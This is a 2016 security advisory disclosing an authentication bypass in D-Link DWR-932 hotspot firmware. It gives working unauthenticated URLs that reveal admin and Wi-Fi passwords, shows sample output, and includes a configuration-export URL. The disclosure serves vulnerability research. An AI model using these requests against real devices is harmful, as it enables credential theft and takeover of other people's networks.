D-Link DWR-932 Authentication Bypass / Password Disclosure

2016.03.22
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

D-Link DWR-932 Firmware <= V4.00 Authentication Bypass - Password Disclosure Author: Saeed reza Zamanian [penetrationtest @ Linkedin] Product: D-Link DWR-932 Tested Version: Firmware V4.00(EU)b03 Vendor: D-Link http://www.dlink.com/ Product URL: http://www.dlink.com/uk/en/home-solutions/work/personal-hotspots/dwr-932-4g-lte-mobile-wi-fi-hotspot-150-mbps Date: 20 Mar 2016 About Product: --------------- The DWR-932 4G LTE Mobile Wi-Fi Hotspot 150 Mbps is a 4G/LTE Cat4 high speed broadband Wi-Fi mobile hotspot. The DWR-932 uses a 4G Internet connection to give you a simple and fast Wi-Fi network anywhere you need. Vulnerability Details: ---------------------- The Cgi Script "/cgi-bin/dget.cgi" handles most of user side and server side requests, but there is no observation on requests recieved from unauthorized users. so the attacker will be able to view Adminitrative or Wifi Password in clear text by visiting below URLs. View Admin Username and Password: http://192.168.0.1/cgi-bin/dget.cgi?cmd=DEVICE_web_usrname,DEVICE_web_passwd,DEVICE_login_timeout&_=1458459188807 Output: { "DEVICE_web_usrname": "MyUsErNaMe", "DEVICE_web_passwd": "MyPaSsWoRd", "DEVICE_login_timeout": "600" } View Wifi Password: http://192.168.0.1/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703 Output: { "wifi_AP1_ssid": "dlink-DWR-932", "wifi_AP1_hidden": "0", "wifi_AP1_passphrase": "MyPaSsPhRaSe", "wifi_AP1_passphrase_wep": "", "wifi_AP1_security_mode": "3208,8", "wifi_AP1_enable": "1", "get_mac_filter_list": "", "get_mac_filter_switch": "0", "get_client_list": "9c:00:97:00:a3:b3,192.168.0.45,IT-PCs,0>40:b8:00:ab:b8:8c,192.168.0.43,android-b2e363e04fb0680d,0", "get_mac_address": "c4:00:f5:00:ec:40", "get_wps_dev_pin": "", "get_wps_mode": "0", "get_wps_enable": "0", "get_wps_current_time": "" } Export All Configurations: http://192.168.0.1/cgi-bin/export_cfg.cgi #EOF


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